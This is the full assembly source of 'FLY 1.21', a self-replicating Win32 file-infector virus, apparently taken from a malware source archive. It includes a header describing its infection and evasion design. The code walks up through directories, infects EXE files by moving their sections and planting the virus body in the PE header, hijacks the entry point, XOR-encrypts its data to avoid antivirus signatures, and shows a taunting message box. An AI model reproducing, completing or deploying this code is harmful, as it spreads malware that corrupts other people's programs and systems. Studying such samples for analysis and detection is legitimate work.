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MalwareSourceCode/Win32/Infector/Win32.Fly.asm
TheDuchy cfc6699241 Updated dir structure in Win32
2020-10-16 23:26:21 +02:00

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;@ECHO OFF
;GOTO MAKE
COMMENT @
-=[ FLY ]=-
a lame virus
by yoda
version: 1.21
Music..................borrowed Nirvana-Nevermind CD/Busta Rhymes/KKS/RunDMC
Assembler..............MASM
Editor.................UltraEdit32
Reason for coding......last school holiday day :)
Target files...........PE32/PE32+ EXE files
Payload................MessageBox if PC is already 30min up
It was nice to find out that KAV added FLY 1.1 to its virii database as Win32.Small.1144.
The edge is that they didn't find the "FLY" trademark in the header and so it rests in
disinfected files :)
This version is fully recoded. The old code was often less optimized and such things.
FLY 1.2 infects 32/64 bit EXE files in the current and in all subdirectries (it's called
dot dot methode, I think).
Whereby I don't know whether infected PE32+ files will run...I think:NO...in this case you'll
have to look at FLY as a PE32 infector with a PE32+ destruction feature :)
The virus body is neither appended at the target file image nor it's written into a
section (like the RelocationDirectory section - .reloc). First I patch the file image
to make the SizeOfHeaders 0x1000...move sections physically, fix NT/ST headers... And after
that the virus body is written into the PE header. I didn't include any BoundImportDirectory
processing. This Directory is always (I think) stored in the PE Header (after the
SectionHeaderTable). If present, it maybe gets overwritten, so I simply clear the BoundImport
DataDirectory in the DataDirectoryEntryTable.
The EntryPoint RVA in the header of the victim isn't changed. FLY assembles...
PUSH ptr_to_virus_body
RET
...at the EntryPoint and when the execution of the virus body is finished, it rewrites the
orginal EntryPoint bytes and jumps to it.
Because we don't have write access in the PE header in memory, one of the first steps FLY does
is getting this access by the VirtualProtect API.
I generally tried to avoid strings like "*.exe", "MZ", "MessageBoxA" in the virus body. This
is reallized by different ways:obfuscation values, build strings on stack or by XORing the
data partion of the virus. Any other protection schemes like Anti-Debugging, Polymorphism or
things like that aren't used.
Payload is a simply but topmost :) MessageBox if the PC is already 30min up.
Disclaimer:
~~~~~~~~~~~
I AM NOT RESPONSIBLE FOR ANY DAMAGE CAUSED BY THIS SOURCE CODE NOR IT'S COMPILED EXECUTABLE !
I JUST CODED "FLY" FOR EDUCATION PURPOSES !
History:
~~~~~~~~
1.21: ( Virsu size: 0x715 Bytes )
- finally added SEH frame in "GetNTHeaders" routine
1.2: ( Virus size: 0x6D7 Bytes )
- all recoded (see above)
- [...]
1.1: ( Virus size: 0x484 Bytes / 1156 Bytes )
- Code optimized a bit
- Boring PER added
- API string CRC method added
- Minor bugfixes
1.0: ( Virus size: 0x560 Bytes / 1376 Bytes )
- first release
yoda
@
.386
.MODEL flat,stdcall
OPTION CASEMAP : NONE
; ------ INCLUDE's ----------------------------------------------------------------------
INCLUDE \masm32\include\windows.inc
INCLUDE \masm32\include\kernel32.inc
INCLUDELIB \masm32\lib\kernel32.lib
; ------ STRUCTS-------------------------------------------------------------------------
PUSHA_STRUCT STRUCT 1
_EDI DWORD ?
_ESI DWORD ?
_EBP DWORD ?
_ESP DWORD ?
_EBX DWORD ?
_EDX DWORD ?
_ECX DWORD ?
_EAX DWORD ?
PUSHA_STRUCT ENDS
;SEH_DATA STRUCT 1
; dwNewESP DWORD ?
; dwNewEIP DWORD ?
;SEH_DATA ENDS
IMAGE_OPTIONAL_HEADER64 STRUCT 1
Magic WORD ?
MajorLinkerVersion BYTE ?
MinorLinkerVersion BYTE ?
SizeOfCode DWORD ?
SizeOfInitializedData DWORD ?
SizeOfUninitializedData DWORD ?
AddressOfEntryPoint DWORD ?
BaseOfCode DWORD ?
ImageBase QWORD ?
SectionAlignment DWORD ?
FileAlignment DWORD ?
MajorOperatingSystemVersion WORD ?
MinorOperatingSystemVersion WORD ?
MajorImageVersion WORD ?
MinorImageVersion WORD ?
MajorSubsystemVersion WORD ?
MinorSubsystemVersion WORD ?
Win32VersionValue DWORD ?
SizeOfImage DWORD ?
SizeOfHeaders DWORD ?
CheckSum DWORD ?
Subsystem WORD ?
DllCharacteristics WORD ?
SizeOfStackReserve QWORD ?
SizeOfStackCommit QWORD ?
SizeOfHeapReserve QWORD ?
SizeOfHeapCommit QWORD ?
LoaderFlags DWORD ?
NumberOfRvaAndSizes DWORD ?
DataDirectory IMAGE_DATA_DIRECTORY IMAGE_NUMBEROF_DIRECTORY_ENTRIES dup(<>)
IMAGE_OPTIONAL_HEADER64 ENDS
IMAGE_NT_HEADERS64 STRUCT 1
Signature DWORD ?
FileHeader IMAGE_FILE_HEADER <>
OptionalHeader IMAGE_OPTIONAL_HEADER64 <>
IMAGE_NT_HEADERS64 ENDS
; ------ EQU's --------------------------------------------------------------------------
OBFUSCATION_VAL EQU 018273645h
FLY_BODY_SIZE EQU (FLY_END - FLY_START)
FLY_TRADEMARK EQU "YLF" ; pasted in FileHeader.PointerToSymbolTable
VIRUS_OFFSET EQU (01000h - FLY_BODY_SIZE)
MIN_PAYLOAD_TICK EQU 30 * 60 * 1000 ; (30 min)
; ------ CODE ---------------------------------------------------------------------------
.CODE
ASSUME FS : NOTHING
Main:
CALL GetVersion ; The compiled exe won't run on Win2k without any Imports :(
; This call is just for the first generation
FLY_START:
; INT 3
;-> receive delta
PUSHAD
CALL get_delta
get_delta:
ADD DWORD PTR [ESP], OBFUSCATION_VAL
LEA EBX, [OFFSET get_delta + OBFUSCATION_VAL]
POP EBP
SUB EBP, EBX
;-> get kernel ImageBase
PUSH [ESP].PUSHA_STRUCT._ESP
CALL GetKernelBase
TEST EAX, EAX
JZ total_quit
MOV EDI, EAX ; EDI -> K32 base
;-> get write access for the virus body (in PE Header is usually ReadOnly access)
SUB ESP, 16
MOV ESI, ESP ; ESI -> base ptr of our little stack frame
MOV DWORD PTR [ESI], "triV" ;
MOV DWORD PTR [ESI + 4], "Plau" ;
MOV DWORD PTR [ESI + 8], "etor" ;
MOV DWORD PTR [ESI + 12], "tc" ; build "VirtualProtect\0" str on stack
PUSH 15
PUSH ESI
PUSH EDI
CALL GetProcAddr
ADD ESP, 16
PUSH EAX ; reserve a DWORD on the stack as lpflOldProtect buff
PUSH ESP
PUSH PAGE_EXECUTE_READWRITE
PUSH FLY_BODY_SIZE
LEA EBX, [EBP + FLY_START]
PUSH EBX
CALL EAX ; modify page access via VirtualProtect
POP EAX
;-> dexor our data partition
MOV EBX, [EBP + dwEPRva] ; EBX -> EntryPoint RVA (arg1)
CALL GetXorByte ; returns 0 in first generation
PUSH EAX
PUSH (Variable_Crypt_End - Variable_Crypt_Start)
LEA EAX, [EBP + Variable_Crypt_Start]
PUSH EAX
CALL memxor
MOV [EBP + dwK32Base], EDI ; now we can save the K32 base
;-> collect addresses of needed APIs
CALL GrabAPIs
;-> PE infection
MOV EBX, EBP
CALL TraceAndInfectDirectory
;-> return to OS/original EntryPoint
TEST EBP, EBP ; EBP == 0 -> first generation
JNZ non_virgin_generation
total_quit:
POPAD
RET ; return to OS
non_virgin_generation:
;-> payload
CALL DriveUserNutsHiHi
;-> move EntryPoint ptr to EDI of the popad'd regs
MOV EAX, [EBP + dwImageBase]
ADD EAX, [EBP + dwEPRva]
MOV [ESP].PUSHA_STRUCT._EDI, EAX
;-> restore bytes at the EntryPoint
PUSH 6
PUSH EAX
LEA EAX, [EBP + bEntryData]
PUSH EAX
CALL memcpy
POPAD
JMP EDI ;-> jump to victim's EntryPoint
;
; Args:
; [ESP + 4] - initial ESP value
;
; Returns:
; ImageBase of Kernel32.dll or 0 in EAX
;
; Reserved Regs: NO
;
GetKernelBase:
ARG_1 EQU [ESP + 4]
;INT 3
; wipe LOWORD of K32 ptr
MOV ESI, ARG_1
MOV ESI, [ESI] ; ESI -> ptr into K32
SAR ESI, 16 ;
SAL ESI, 16 ; ESI &= 0xFFFF0000
@@test_4_PE_hdr:
PUSH ESI
CALL GetNTHeaders
TEST EAX, EAX
JZ @F
; K32 PE hdr found !
XCHG EAX, ESI
JMP @@exit_proc
@@:
SUB ESI, 000010000h
JMP @@test_4_PE_hdr
@@exit_proc:
RET 4
;
; Args:
; [ESP + 4] - ptr to an PE image
; EBP - delta !
;
; Returns:
; the ptr to the NT headers of NULL in case of an error
;
; Reserved Regs: ALL
;
GetNTHeaders:
ARG_1 EQU [ESP + 4 + 2*4 + SIZEOF PUSHA_STRUCT]
; INT 3
PUSHAD
; set up SEH frame
SUB EAX, EAX
LEA EBX, [EBP + SehHandler]
PUSH EBX
PUSH FS:[EAX]
MOV FS:[EAX], ESP
; process
SUB EAX, EAX ; EAX -> 0 (result REG)
MOV ESI, ARG_1 ; ESI -> pImage
MOVZX EDX, WORD PTR [ESI]
ADD EDX, 1234
SUB EDX, "ZM" + 1234
JNZ GetNTHeaders_exit
MOV EDI, DWORD PTR [ESI].IMAGE_DOS_HEADER.e_lfanew
MOV EDX, [EDI + ESI]
SUB EDX, 4321
SUB EDX, "EP" - 4321
JNZ GetNTHeaders_exit
LEA EAX, [EDI + ESI]
GetNTHeaders_exit:
SUB EBX, EBX
POP FS:[EBX]
ADD ESP, 4
MOV [ESP].PUSHA_STRUCT._EAX, EAX ; EAX -> popad'd REGs
POPAD
RET 4
SehHandler PROC C pExcept:DWORD,pFrame:DWORD,pContext:DWORD,pDispatch:DWORD
; INT 3
;-> modify EIP and continue execution
MOV EAX, pContext ; EAX -> context ptr
MOV ECX, [EAX].CONTEXT.regEbp ; ECX -> debuggee's EBP
LEA EBX, [ECX + GetNTHeaders_exit]
MOV [EAX].CONTEXT.regEip, EBX
MOV EAX, ExceptionContinueExecution
RET
SehHandler ENDP
;
; void* GetProcAddr(HINSTANCE hDLL, char* szAPI, DWORD dwcAPIStrSize);
;
; Returns:
; NULL - in case of an error
;
; Reserved Regs: Win32 API
;
GetProcAddr:
ARG_1 EQU [ESP + 4]
ARG_2 EQU [ESP + 8]
ARG_3 EQU [ESP + 12]
PUSH EBX
PUSH ESI
PUSH EDI
MOV EDX, [ESP + 4 + 12] ; EDX -> dll base
; get ptr to NT hdrs
PUSH EDX
CALL GetNTHeaders
TEST EAX, EAX ; EAX -> ptr to NT hdrs
JZ @@GetProcAddr_exit
; get ptr to ExportTable (PE32/PE32+ dependent code)
CMP WORD PTR [EAX].IMAGE_NT_HEADERS.OptionalHeader.Magic, IMAGE_NT_OPTIONAL_HDR32_MAGIC
JNZ get_exp_table_rva_64
MOV EDI, [EAX].IMAGE_NT_HEADERS.OptionalHeader.DataDirectory[0].VirtualAddress
JMP @F
get_exp_table_rva_64:
MOV EDI, [EAX].IMAGE_NT_HEADERS64.OptionalHeader.DataDirectory[0].VirtualAddress
@@:
ADD EDI, EDX ; EDI -> exp table RVA
MOV ESI, [EDI].IMAGE_EXPORT_DIRECTORY.AddressOfNames ; ESI -> exp symbol names chain RVA
ADD ESI, EDX
SUB EBX, EBX ; EBX = chain index
process_name:
; compare API strings
LODSD
PUSHAD
LEA EDI, [EAX + EDX]
MOV ESI, [ESP + 8 + SIZEOF PUSHA_STRUCT + 12]
MOV ECX, [ESP + 12 + SIZEOF PUSHA_STRUCT + 12]
REPZ CMPSB
POPAD
JZ API_name_found_in_chain
INC EBX
CMP EBX, [EDI].IMAGE_EXPORT_DIRECTORY.NumberOfNames
JNZ process_name
; (all names processed but nothing found)
SUB EAX, EAX
JZ @@GetProcAddr_exit
API_name_found_in_chain:
; grab corresponding ordinal
MOV EAX, [EDI].IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals
ADD EAX, EDX ; EAX -> ordinal chain ptr
MOVZX ECX, WORD PTR [EAX + EBX*2] ; ECX -> symbol ordinal
; finally get symbol RVA
MOV EAX, [EDI].IMAGE_EXPORT_DIRECTORY.AddressOfFunctions
ADD EAX, EDX ; EAX -> symbol RVA chain ptr
MOV EAX, [EAX + ECX*4]
ADD EAX, EDX ; EAX -> symbol ptr
@@GetProcAddr_exit:
POP EDI
POP ESI
POP EBX
RET 12
;
; Reserved Regs: NO
;
GrabAPIs:
LEA ESI, [EBP + OFFSET API_table] ; ESI -> first API table entry
NextApiTableEntry:
; receive API addr of current struct
MOVZX EDI, BYTE PTR [ESI] ; EDI -> API str length
PUSH EDI
LEA EAX, [ESI + 5]
PUSH EAX
PUSH [EBP + dwK32Base]
CALL GetProcAddr
INC ESI ; ESI += 1
MOV [ESI], EAX
; process next struct
ADD ESI, EDI
ADD ESI, 4
SUB EAX, EAX
CMP BYTE PTR [ESI], AL
JNZ NextApiTableEntry
RET
;
; Args:
; EBX - delta
;
; Reserved Regs: NO
;
TraceAndInfectDirectory PROC
LOCAL WFD : WIN32_FIND_DATA
LOCAL cPath[MAX_PATH] : BYTE
LOCAL hFind : HANDLE
; get current directory
LEA ESI, cPath ; ESI -> path buffer
PUSH ESI
PUSH MAX_PATH
CALL [EBX + _GetCurrentDirectory]
process_current_dir:
PUSH EAX ; reserve path length
PUSH ESI
CALL [EBX + _SetCurrentDirectory]
POP EAX
LEA EDI, [ESI + EAX]
MOV AX, "*\"
STOSW
MOV AX, "E."
STOSW
MOV AX, "EX"
STOSW
SUB EAX, EAX
STOSB
LEA EDI, WFD ; EDI -> WIN32_FIND_DATA ptr
PUSH EDI
PUSH ESI
CALL [EBX + _FindFirstFile]
MOV hFind, EAX
INC EAX
JZ trace_previous_dir
next_file_in_dir:
LEA EAX, [EDI].WIN32_FIND_DATA.cFileName
PUSH EAX
CALL InfectFile
PUSH EDI
PUSH hFind
CALL [EBX + _FindNextFile]
DEC EAX
JZ next_file_in_dir
trace_previous_dir:
PUSH ESI
CALL WipeLastDirInPath
JC process_current_dir
; cleanup
PUSH hFind
CALL [EBX + _FindClose]
TraceAndInfectDirectory_exit:
RET
TraceAndInfectDirectory ENDP
;
; if the last directory was successfully ripped from path string then the carry flag is set
; addionally the new path string size is returned in EAX
;
; Args:
; [ESP + 4] - path buffer
;
; Reserved Regs: Win32 API
;
WipeLastDirInPath:
ARG_1 EQU [ESP + 4]
PUSH EBX
PUSH ESI
PUSH EDI
CLC
CLD
SUB EAX, EAX
MOV EDI, ARG_1
MOV ECX, MAX_PATH
REPNZ SCASB
STD
MOV AL, "\"
NEG ECX
ADD ECX, MAX_PATH
REPNZ SCASB
TEST ECX, ECX
JZ WipeLastDirInPath_exit
REPNZ SCASB
TEST ECX, ECX
JZ WipeLastDirInPath_exit
CMP ECX, 1 ; will result be a root path (e.g. C:\) ?
JZ root_path
MOV BYTE PTR [EDI + 1], 0 ; set new NUL terminator
JMP SHORT ret_new_str
root_path:
MOV BYTE PTR [EDI + 2], 0
ret_new_str:
LEA EAX, [ECX + 1] ; EAX -> return string size
STC
WipeLastDirInPath_exit:
POP EDI
POP ESI
POP EBX
CLD
RET 4
;
; Args:
; EBX - delta
;
; Reserved Regs: ALL
;
; Returns: void
;
;
InfectFile PROC szFname
LOCAL hFile : HANDLE
LOCAL dwFSize : DWORD
LOCAL dwc : DWORD
LOCAL b64Bit : DWORD
LOCAL dwHdrSizeDelta : DWORD
; LOCAL dwRealHdrSize : DWORD
LOCAL dwFirstSecRO : DWORD
LOCAL pFirstSecHdr : DWORD
LOCAL dwMemBlockSize : DWORD
LOCAL pVirusBody : DWORD
; LOCAL dwViriiOffset : DWORD ; Offset (without any Mem- or ImageBase)
LOCAL dwVictimBase : DWORD
PUSHAD
; -> get write access to the file and map it to memory
XOR EAX, EAX
PUSH EAX
PUSH FILE_ATTRIBUTE_NORMAL
PUSH OPEN_EXISTING
PUSH EAX
PUSH FILE_SHARE_WRITE + FILE_SHARE_READ
PUSH GENERIC_WRITE + GENERIC_READ
PUSH szFname
CALL [EBX + _CreateFile]
MOV hFile, EAX
INC EAX
JZ InfectFile_exit
SUB EAX, EAx
PUSH EAX
PUSH hFile
CALL [EBX + _GetFileSize]
MOV dwFSize, EAX
ADD EAX, 01000h ; add max hdr size to size of mem
PUSH EAX
PUSH GMEM_FIXED OR GMEM_ZEROINIT
CALL [EBX + _GlobalAlloc]
OR EAX, EAX
JZ cleanup_free_mem
MOV ESI, EAX ; ESI -> mem ptr
SUB EAX, EAX
PUSH EAX
LEA EAX, dwc
PUSH EAX
PUSH dwFSize
PUSH ESI
PUSH hFile
CALL [EBX + _ReadFile]
; -> get ptr to NT hdrs and check whether the file was already infect
PUSH EBP
MOV EBP, EBX
PUSH ESI
CALL GetNTHeaders
POP EBP
OR EAX, EAX
JZ cleanup_free_mem
MOV EDI, EAX ; EDI -> NT hdrs
MOV EAX, [EDI].IMAGE_NT_HEADERS.FileHeader.PointerToSymbolTable
ADD EAX, OBFUSCATION_VAL
CMP EAX, FLY_TRADEMARK + OBFUSCATION_VAL
JZ cleanup_free_mem
;-> check for PE32+
SUB EAX, EAX
CMP WORD PTR [EDI].IMAGE_NT_HEADERS.OptionalHeader.Magic, IMAGE_NT_OPTIONAL_HDR64_MAGIC
SETZ AL
MOV b64Bit, EAX
PUSH EBX ; !!! reserve unneeded delta to stack
;-> get section hdr ptr
MOV AX, [EDI].IMAGE_NT_HEADERS.FileHeader.SizeOfOptionalHeader
LEA EBX, [EAX + EDI + 4 + SIZEOF IMAGE_FILE_HEADER] ; EBX -> section hdr table ptr
MOV pFirstSecHdr, EBX
;
;-> infect file image
;
; -> get real size of hdrs, test whether the virus body has enough space there
SUB EDX, EDX
MOV EAX, SIZEOF IMAGE_SECTION_HEADER
MOVZX ECX, [EDI].IMAGE_NT_HEADERS.FileHeader.NumberOfSections
MUL ECX
MOVZX EDX, [EDI].IMAGE_NT_HEADERS.FileHeader.SizeOfOptionalHeader
LEA EDX, [EAX + EDX + 4 + SIZEOF IMAGE_FILE_HEADER]
ADD EDX, [ESI].IMAGE_DOS_HEADER.e_lfanew ; (EDX = real size of headers)
; MOV dwRealHdrSize, EDX
NEG EDX
ADD EDX, 01000h ; EDX -> delta to hdr with 0x1000 size
CMP EDX, FLY_BODY_SIZE ; enough size in header ?
JGE @F
POP EBX
JMP cleanup_free_mem
@@:
; -> get the RawOffset of the first section
SUB EDX, EDX
DEC EDX ; EDX -> MAX_DWORD
MOV EAX, EBX ; EAX -> first section header
MOVZX ECX, [EDI].IMAGE_NT_HEADERS.FileHeader.NumberOfSections
scan_sec_hdr_for_low_RO:
CMP [EAX].IMAGE_SECTION_HEADER.PointerToRawData, EDX
JAE @F
MOV EDX, [EAX].IMAGE_SECTION_HEADER.PointerToRawData
@@:
ADD EAX, SIZEOF IMAGE_SECTION_HEADER ; EAX += sizeof(IMAGE_SECTION_HEADER)
LOOP scan_sec_hdr_for_low_RO
MOV dwFirstSecRO, EDX
NEG EDX
ADD EDX, 01000h
MOV dwHdrSizeDelta, EDX
POP EBX ; restore delta from stack -> EBX
; -> patch the file image, so that it'll have a SizeOfHeaders of 0x1000
; move all sections by the calucalated delta back
; INT 3
MOV EDX, dwFirstSecRO
NEG EDX
ADD EDX, dwFSize ; EDX -> mem block size
MOV dwMemBlockSize, EDX
PUSH EDX
PUSH GMEM_FIXED OR GMEM_ZEROINIT
CALL [EBX + _GlobalAlloc]
TEST EAX, EAX
JZ cleanup_free_mem
; sections -> memory buffer
XCHG EDX, EAX ; EDX -> mem block ptr
PUSH dwMemBlockSize
PUSH EDX
MOV EAX, dwFirstSecRO
ADD EAX, ESI ; EAX -> ptr to first section
PUSH EAX
CALL memcpy
; memory buffer -> new location for sections (offset + dwHdrSizeDelta)
PUSH dwMemBlockSize
LEA EAX, [ESI + 01000h]
PUSH EAX
PUSH EDX
CALL memcpy
PUSH EDI
CALL [EBX + _GlobalFree]
;-> fix section header table
PUSH EBX ; ! reserve EBX
MOVZX ECX, [EDI].IMAGE_NT_HEADERS.FileHeader.NumberOfSections
MOV EAX, pFirstSecHdr ; EAX -> first section hdr
MOV EDX, dwHdrSizeDelta ; EDX -> hdr delta
SUB EBX, EBX ; EBX -> 0
fix_and_replace_section:
CMP [EAX].IMAGE_SECTION_HEADER.PointerToRawData, EBX
JZ @F
ADD [EAX].IMAGE_SECTION_HEADER.PointerToRawData, EDX
@@:
ADD EAX, SIZEOF IMAGE_SECTION_HEADER
LOOP fix_and_replace_section
POP EBX ; ! restore EBX
;-> insert virus body after the SectionHeaderTable
; INT 3
PUSHAD
LEA EDI, [ESI + VIRUS_OFFSET] ; EDI -> ptr to the end of the SectionHeaderTable
LEA ESI, [EBX + FLY_START] ; ESI -> start of the virus body
MOV ECX, FLY_BODY_SIZE
REP MOVSB
POPAD
;-> insert EntryPoint RVA and ImageBase into virus body
LEA EDX, [ESI + VIRUS_OFFSET] ; EDX -> virus body ptr (in victim)
MOV pVirusBody, EDX
; save OEP
PUSH DWORD PTR [EDI].IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint
POP DWORD PTR [EDX + (OFFSET dwEPRva - OFFSET FLY_START)]
; save ImageBase
MOV EAX, b64Bit
DEC EAX
JZ ImageBase_is_qword
PUSH [EDI].IMAGE_NT_HEADERS.OptionalHeader.ImageBase
JMP @F
ImageBase_is_qword:
PUSH DWORD PTR [EDI.IMAGE_NT_HEADERS64.OptionalHeader.ImageBase]
@@:
POP EAX
MOV dwVictimBase, EAX
MOV [EDX + (OFFSET dwImageBase - OFFSET FLY_START)], EAX
; -> redirect EntryPoint, i.e.
; Victim_EntryPoint: PUSH virii_entry_VA (5 bytes)
; RET (6 bytes)
;INT 3
; find section belonging to the EntryPoint
PUSHAD
PUSH [EDI].IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint
MOVZX EAX, [EDI].IMAGE_NT_HEADERS.FileHeader.NumberOfSections
PUSH EAX
PUSH pFirstSecHdr
CALL RvaToSection ; EAX -> sec hdr to which the EntryPoint RVA refers
MOV [ESP].PUSHA_STRUCT._EAX, EAX
POPAD
TEST EAX, EAX
JZ cleanup_free_mem
; save bytes at EntryPoint
MOV EDX, [EDI].IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint
SUB EDX, [EAX].IMAGE_SECTION_HEADER.VirtualAddress
ADD EDX, [EAX].IMAGE_SECTION_HEADER.PointerToRawData ; EDX -> EntryPoint Offset
ADD EDX, ESI ; EDX -> EntryPoint Ptr
PUSH 6
MOV ECX, pVirusBody
ADD ECX, (OFFSET bEntryData - OFFSET FLY_START)
PUSH ECX
PUSH EDX
CALL memcpy
; assemble PUSH,RET at entry
MOV BYTE PTR [EDX], 068h
MOV ECX, VIRUS_OFFSET
ADD ECX, dwVictimBase
MOV DWORD PTR [EDX + 1], ECX
MOV BYTE PTR [EDX + 5], 0C3h
; set write flag in EntryPoint section
OR [EAX].IMAGE_SECTION_HEADER.Characteristics, 080000000h
;-> update NT hdrs
MOV [EDI].IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders, 01000h
LEA EAX, [EDI].IMAGE_NT_HEADERS.FileHeader.PointerToSymbolTable
MOV DWORD PTR [EAX], (FLY_TRADEMARK - OBFUSCATION_VAL)
ADD DWORD PTR [EAX], (OBFUSCATION_VAL)
; change EntryPoint
;PUSH dwRealHdrSize
;POP [EDI].IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint
MOV EDX, [EDI].IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint ; EDX -> Entry RVA
; clear BoundImport because if it had been present we overwrote it with the virus body
LEA EDI, [EDI].IMAGE_NT_HEADERS.OptionalHeader.DataDirectory[11 * 8].VirtualAddress
SUB EAX, EAX
STOSD
STOSD
;-> encrypt data parition
PUSHAD
MOV EBX, EDX
CALL GetXorByte ; arg pushed above
PUSH EAX
PUSH (Variable_Crypt_End - Variable_Crypt_Start)
LEA EAX, [ESI + (VIRUS_OFFSET + (Variable_Crypt_Start - FLY_START))]
PUSH EAX
CALL memxor
POPAD
;-> write mem to file
SUB EDI, EDI ; EDI -> 0
PUSH FILE_BEGIN
PUSH EDI
PUSH EDI
PUSH hFile
CALL [EBX + _SetFilePointer]
PUSH EDI
LEA EAX, dwc
PUSH EAX
MOV EAX, dwFSize
ADD EAX, dwHdrSizeDelta
PUSH EAX
PUSH ESI
PUSH hFile
CALL [EBX + _WriteFile]
cleanup_free_mem:
PUSH ESI
CALL [EBX + _GlobalFree]
cleanup_file_handle:
PUSH hFile
CALL [EBX + _CloseHandle]
InfectFile_exit:
POPAD
RET
InfectFile ENDP
;
; Args:
; [ESP + 4] - ptr to first section header
; [ESP + 8] - number of sections
; [ESP + C] - dwRVA
;
; Returns:
; NULL in case of an error or PIMAGE_SECTION_HEADER
;
; ReservedRegs: NO
;
RvaToSection:
ARG_1 EQU [ESP + 4]
ARG_2 EQU [ESP + 8]
ARG_3 EQU [ESP + 12]
ASSUME ESI : PTR IMAGE_SECTION_HEADER
SUB EAX, EAX
MOV ESI, ARG_1 ; ESI -> ptr to first section hdr
MOV ECX, ARG_2 ; ECX -> number of sections
MOV EDI, ARG_3 ; EDI -> target rva
SUB EBX, EBX ; EBX -> 0
section_header_scan_loop:
MOV EDX, [ESI].VirtualAddress ; RVA >= VirtualAddress ?
CMP EDI, EDX
JB @F
CMP [ESI].Misc.VirtualSize, EBX ; VS == 0 (needed for Watcom files)
JZ add_RawSize_instead
ADD EDX, [ESI].Misc.VirtualSize ; RVA < VirtualAddress + VirtualSize ?
JMP compare
add_RawSize_instead:
ADD EDX, [ESI].SizeOfRawData
compare:
CMP EDI, EDX
JAE @F
JMP scan_done
@@:
ADD ESI, SIZEOF IMAGE_SECTION_HEADER
LOOP section_header_scan_loop
ASSUME ESI : NOTHING
scan_done:
TEST ECX, ECX
JZ @F
XCHG EAX, ESI
@@:
RET 12
;
; Args:
; [ESP + 4] - src
; [ESP + 8] - dest
; [ESP + C] - soue
;
; ReservedRegs: ALL
;
memcpy:
ARG_1 EQU [ESP + 4 + SIZEOF PUSHA_STRUCT]
ARG_2 EQU [ESP + 8 + SIZEOF PUSHA_STRUCT]
ARG_3 EQU [ESP + 12 + SIZEOF PUSHA_STRUCT]
PUSHAD
MOV ESI, ARG_1
MOV EDI, ARG_2
MOV ECX, ARG_3
REP MOVSB
POPAD
RET 12
;
; Args:
; [ESP + 4] - src
; [ESP + 8] - size
; [ESP + C] - xor byte
;
; ReservedRegs: ALL
;
memxor:
ARG_1 EQU [ESP + 4 + SIZEOF PUSHA_STRUCT]
ARG_2 EQU [ESP + 8 + SIZEOF PUSHA_STRUCT]
ARG_3 EQU [ESP + 12 + SIZEOF PUSHA_STRUCT]
PUSHAD
MOV ESI, ARG_1 ; ESI -> data ptr
MOV ECX, ARG_2
MOV EAX, ARG_3 ; EAX -> xor byte
memxor_loop:
XOR BYTE PTR [ESI], AL
INC ESI
LOOP memxor_loop
POPAD
RET 12
;
; this is the payload
;
; ReservedRegs: ALL
;
DriveUserNutsHiHi:
; PC already MIN_PAYLOAD_TICK seconds up ?
CALL [EBP + _GetTickCount]
CMP EAX, MIN_PAYLOAD_TICK
JB DriveUserNutsHiHi_exit
; build "USER32\0" on stack
SUB ESP, 8
MOV EDI, ESP ; User32 str on stack
MOV DWORD PTR [EDI], "RESU"
MOV DWORD PTR [EDI + 4], "23"
; get MessageBoxA addr
PUSH EDI
CALL [EBP + _LoadLibrary] ; EAX -> U32 base
ADD ESP, 8
OR EAX, EAX
JZ DriveUserNutsHiHi_exit
LEA EDI, [EBP + MBStrSize] ; EDI -> API info (str size/str)
MOVZX EBX, BYTE PTR [EDI]
PUSH EBX
INC EDI
PUSH EDI
PUSH EAX
CALL GetProcAddr ; EAX -> MessageBoxA addr
OR EAX, EAX
JZ DriveUserNutsHiHi_exit
; show msg
PUSH MB_SYSTEMMODAL OR MB_ICONWARNING OR MB_TOPMOST
LEA EBX, [EBP + szMBCaption]
PUSH EBX
LEA EBX, [EBP + szMBText]
PUSH EBX
SUB EBX, EBX
PUSH EBX
CALL EAX
DriveUserNutsHiHi_exit:
RET
;
; Reserved Regs: NO
;
; Args:
; EBX - EntryPoint RVA
;
; Returns: xor byte to dexor loader data parition in EAX
;
GetXorByte:
SUB EAX, EAX
SUB ECX, ECX
ADD CL, 4
GetXorByte_loop:
ADD AL, BL
SHR EBX, 8
LOOP GetXorByte_loop
RET
; ------ VARIABLES ----------------------------------------------------------------------
Loader_Variables:
dwEPRva DD 0 ; 0 in first generation
Variable_Crypt_Start:
dwImageBase DD 0 ; 0 in first generation
dwK32Base DD ?
bEntryData DB 6 DUP (0FFh)
MBStrSize DB 11 + 1
szMB DB "MessageBoxA", 0
szMBText DB "You stink.", 0
szMBCaption DB "FLY 1.21", 0
API_table:
DB 20 + 1
_GetCurrentDirectory DD ?
szGetCurrentDirectory DB "GetCurrentDirectoryA", 0
DB 20 + 1
_SetCurrentDirectory DD ?
szSetCurrentDirectory DB "SetCurrentDirectoryA", 0
DB 14 + 1
_FindFirstFile DD ?
szFindFirstFile DB "FindFirstFileA", 0
DB 13 + 1
_FindNextFile DD ?
szFindNextFile DB "FindNextFileA", 0
DB 9 + 1
_FindClose DD ?
szFindClose DB "FindClose", 0
DB 11 + 1
_CreateFile DD ?
szCreateFile DB "CreateFileA", 0
DB 11 + 1
_CloseHandle DD ?
szCloseHandle DB "CloseHandle", 0
DB 11 + 1
_GetFileSize DD ?
szGetFileSize DB "GetFileSize", 0
DB 11 + 1
_GlobalAlloc DD ?
szGlobalAlloc DB "GlobalAlloc", 0
DB 10 + 1
_GlobalFree DD ?
szGlobalFree DB "GlobalFree", 0
DB 8 + 1
_ReadFile DD ?
szReadFile DB "ReadFile", 0
DB 9 + 1
_WriteFile DD ?
szWriteFile DB "WriteFile", 0
DB 14 + 1
_SetFilePointer DD ?
szSetFilePointer DB "SetFilePointer", 0
DB 12 + 1
_LoadLibrary DD ?
szLoadLibrary DB "LoadLibraryA", 0
DB 12 + 1
_GetTickCount DD ?
szGetTickCount DB "GetTickCount", 0
dwcAPITableEnd DB 0
API_table_end:
Loader_Variables_end:
Variable_Crypt_End:
FLY_END:
end Main
; ------ END ----------------------------------------------------------------------------
:MAKE
CLS
\MASM32\BIN\ML /nologo /c /coff /Gz /Cp /Zp1 FLY.BAT
